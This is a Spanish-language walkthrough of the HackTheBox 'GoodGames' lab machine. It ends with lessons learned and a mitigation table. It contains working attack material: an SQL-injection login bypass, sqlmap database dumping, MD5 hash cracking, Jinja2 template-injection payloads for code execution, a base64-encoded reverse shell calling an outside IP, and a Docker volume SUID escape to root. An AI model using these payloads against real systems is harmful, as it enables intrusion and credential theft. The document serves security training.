root dentro de un contenedor Docker. La salida al host real combina reutilización de credenciales vía SSH con un escape de contenedor clásico: el directorio home del usuario está montado como volumen, y sin user namespace remapping el root del contenedor puede plantar un SUID en bash que resulta efectivo en el host.HackTheBox Linux Easy
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | GoodGames |
| OS | Linux (contenedor Docker + host Debian) |
| Dificultad | Easy |
| IP | 10.129.31.181 |
| Técnicas | SQL Injection · sqlmap · MD5 cracking · SSTI Jinja2 · Docker escape · SUID bash · Credential Reuse |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.31.181PORT STATE SERVICE
80/tcp open http💡 Superficie de ataque: Un único puerto abierto. Toda la investigación pasa por la aplicación web.
2. Enumeración Web — Portal GoodGames#
Al visitar la IP encontramos un blog/tienda de videojuegos.

3. Explotación — SQL Injection en el Login#
3.1 Petición de Login Normal (capturada con Burp)#
POST /login HTTP/1.1
Host: goodgames.htb
Content-Type: application/x-www-form-urlencoded
email=admin%40goodgames.htb&password=12353.2 Bypass de Autenticación#
Modificamos el campo email con una condición siempre verdadera y comentamos el resto de la consulta:
email=admin' or 1 = 1 -- -&password=1235

✅ SQL Injection confirmada. La aplicación nos loguea como
adminsin conocer la contraseña real.
4. Descubrimiento del Panel Interno#
Explorando el panel (icono de engranaje en la barra superior) encontramos una referencia a otro host:
http://internal-administration.goodgames.htb/Lo añadimos a /etc/hosts:
echo "10.129.31.181 internal-administration.goodgames.htb" >> /etc/hostsAl visitarlo encontramos un panel de administración Flask (Flask Volt Dashboard) con su propio login.

💡 Necesitamos credenciales para este segundo panel. El siguiente paso es extraer la base de datos del portal principal con
sqlmap.
5. Extracción de Credenciales con sqlmap#
5.1 Guardamos la Petición en un Fichero#
cat > goodgames.req << 'EOF'
POST /login HTTP/1.1
Host: goodgames.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
email=admin%40goodgames.htb&password=1235
EOF5.2 Confirmación de la Inyección#
sqlmap -r goodgames.reqParameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@goodgames.htb' AND (SELECT 5633 FROM (SELECT(SLEEP(5)))RcqB) AND 'Wcif'='Wcif&password=1235
back-end DBMS: MySQL >= 5.0.125.3 Volcado de la Tabla user#
sqlmap -r goodgames.req --batch --dbs
# available databases: information_schema, main
sqlmap -r goodgames.req --batch -D main --tables
# tables: user, blog, blog_comments
sqlmap -r goodgames.req --batch -D main -T user --dumpDatabase: main
Table: user
[1 entry]
+----+---------------------+-------+----------------------------------+
| id | email | name | password |
+----+---------------------+-------+----------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+-------+----------------------------------+5.4 Cracking del Hash MD5#
echo "2b22337f218b2d82dfc3b6f77e7cb8ec" > pass.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txtsuperadministrator (?)🔑 Credenciales:
admin:superadministrator
6. Acceso al Panel Flask Interno#
Con admin / superadministrator accedemos a internal-administration.goodgames.htb.

En el menú lateral, Settings → General information tiene un campo Full Name editable que se refleja en el panel derecho.
7. Explotación — Server-Side Template Injection (SSTI)#
7.1 Confirmación con Expresión Matemática#
Insertamos la expresión clásica de SSTI en Jinja2:
{{7*7}}
✅ SSTI confirmada. El
49aparece donde debería estar el nombre — la plantilla evalúa código Python en el servidor.
7.2 RCE con Payload de Jinja2#
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
✅ RCE como root dentro del contenedor Docker.
8. Reverse Shell#
Codificamos la shell en base64 para evitar problemas con caracteres especiales:
echo -ne 'bash -i >& /dev/tcp/10.10.14.211/4444 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYxInyectamos el payload en el campo Full Name:
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYx${IFS}|base64${IFS}-d|bash').read()}}💡 Por qué esta ruta alternativa: acceder a
osa través deconfig.__class__.__init__.__globals__evita filtros que bloqueanself.__init__o__builtins__directamente. El${IFS}reemplaza los espacios para evitar su interpretación prematura en la petición HTTP.
nc -nlvp 4444Connection received on 10.129.31.181 56342
root@3a453ab39d3d:/backend# whoami
rootEstabilizamos la TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; export SHELL=bash
stty rows 40 cols 150; reset9. User Flag#
cat /home/augustus/user.txt🔑 Flag de usuario obtenida.
10. Reconocimiento del Entorno — Estamos en un Contenedor#
ls /backend
# Dockerfile project requirements.txt
ip addr
# inet 172.19.0.2/16 — IP del contenedor💡 Deducción: el contenedor tiene la IP
172.19.0.2. Por convención Docker, el host suele ser el.1de la misma subred:172.19.0.1.
11. Movimiento Lateral — Reutilización de Credenciales#
La contraseña extraída de la base de datos es también la del usuario augustus en el host real:
ssh augustus@172.19.0.1
# password: superadministrator
augustus@GoodGames:~$✅ Acceso al host real como
augustus.
12. Escalada de Privilegios — Escape del Contenedor vía Volumen Compartido#
La Vulnerabilidad#
El directorio $HOME de augustus en el host está montado como volumen dentro del contenedor. Docker, sin user namespace remapping, hace que el root del contenedor (UID 0) y el root del host (UID 0) sean el mismo a efectos de permisos sobre ese volumen compartido.
El plan: copiar /bin/bash al directorio compartido desde el host, luego desde el contenedor (donde somos root) asignarle root:root y activar el bit SUID. El resultado es un bash con SUID efectivo en el host, ejecutable por augustus.
Paso 1 — Copiar bash al directorio compartido (desde el host)#
augustus@GoodGames:~$ cp /bin/bash .Paso 2 — Plantar el SUID desde el contenedor (como root)#
root@3a453ab39d3d:/backend# chown root:root /home/augustus/bash
root@3a453ab39d3d:/backend# chmod 4755 /home/augustus/bashPaso 3 — Ejecutar la shell con privilegios desde el host#
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)✅ EUID 0 obtenido. Escalada a root completada.
13. Root Flag#
bash-5.1# cat /root/root.txt🏁 Flag de root obtenida.
14. Resumen y Lecciones Aprendidas#
Ruta de compromiso:
- Recon → Puerto 80 con portal GoodGames.
- SQLi →
admin' or 1=1 -- -en el login → bypass de autenticación. - sqlmap → volcado de BBDD
main→ hash MD5 deadmin. - John + rockyou →
superadministrator. - Panel interno Flask →
internal-administration.goodgames.htb→ login con credenciales extraídas. - SSTI Jinja2 → campo
Full Nameen Settings evalúa código Python → RCE como root en el contenedor. - Reverse shell → user flag en
/home/augustus/user.txt. - SSH →
augustus@172.19.0.1con la misma contraseña → acceso al host real. - Volumen compartido →
bashcon SUID plantado desde el contenedor →./bash -pen el host → EUID 0.
Lo que aprendí con esta máquina:
El bypass de autenticación con SQLi es solo el primer paso, no el objetivo. El verdadero valor aquí estaba en usar esa misma inyección para extraer credenciales con
sqlmap. Sin el volcado de la BBDD, el panel interno seguía siendo inaccesible. SQLi como puerta de entrada a la superficie real es el patrón a seguir siempre.Los hashes MD5 sin salt son trivialmente crackeables.
superadministratoraparece en los primeros segundos contra rockyou. La diferencia entre MD5 y bcrypt/Argon2 no es de años — es de segundos vs. horas inviables. Cualquier base de datos que almacene MD5 sin salt está efectivamente guardando las contraseñas en claro para un atacante con acceso a ella.SSTI en Jinja2 es RCE si no hay sandboxing. El campo
Full Namereflejaba el valor en una plantilla sin ningún tipo de escape. Jinja2 tiene un modo sandboxed (SandboxedEnvironment) diseñado exactamente para esto — si se renderiza entrada de usuario, ese es el entorno a usar. Sin él, cualquier dato controlado por el atacante que llegue arender_template_string()es ejecución de código.“Root en el contenedor” no equivale a “root en el host” — a menos que el aislamiento falle. En este caso falló de dos maneras simultáneas: las credenciales del sistema se reutilizaron (permitiendo SSH al host), y el volumen compartido sin remapeo de usuarios permitió modificar ficheros del host desde el contenedor. Bastaría con corregir cualquiera de los dos para romper la cadena.
El escape por volumen compartido + SUID es elegante precisamente porque no necesita exploits. Solo aprovecha el comportamiento por defecto de Docker (sin
userns-remap) y un descuido de configuración (montar el$HOMEcompleto del usuario). La defensa correcta no es un parche — es activaruserns-remapy montar solo lo estrictamente necesario con los mínimos permisos.
Mitigaciones:
| Vector | Mitigación |
|---|---|
| SQL Injection en el formulario de login | Usar consultas parametrizadas (prepared statements); nunca concatenar input de usuario en SQL |
| Hash MD5 sin salt para contraseñas | Usar bcrypt, scrypt o Argon2 con salt individual por usuario |
SSTI en Jinja2 (campo Full Name) | No pasar entrada de usuario a render_template_string(); usar render_template con variables, o SandboxedEnvironment si es inevitable |
| RCE como root dentro del contenedor | Ejecutar la app con usuario sin privilegios (USER no-root en el Dockerfile); aplicar filesystem read-only donde sea posible |
| Reutilización de contraseñas entre panel y sistema operativo | Credenciales distintas y aleatorias por servicio; rotar tras cualquier exposición |
Volumen compartido sin user namespace remapping | Activar userns-remap en Docker; montar solo los subdirectorios necesarios con los mínimos permisos; no compartir $HOME completos |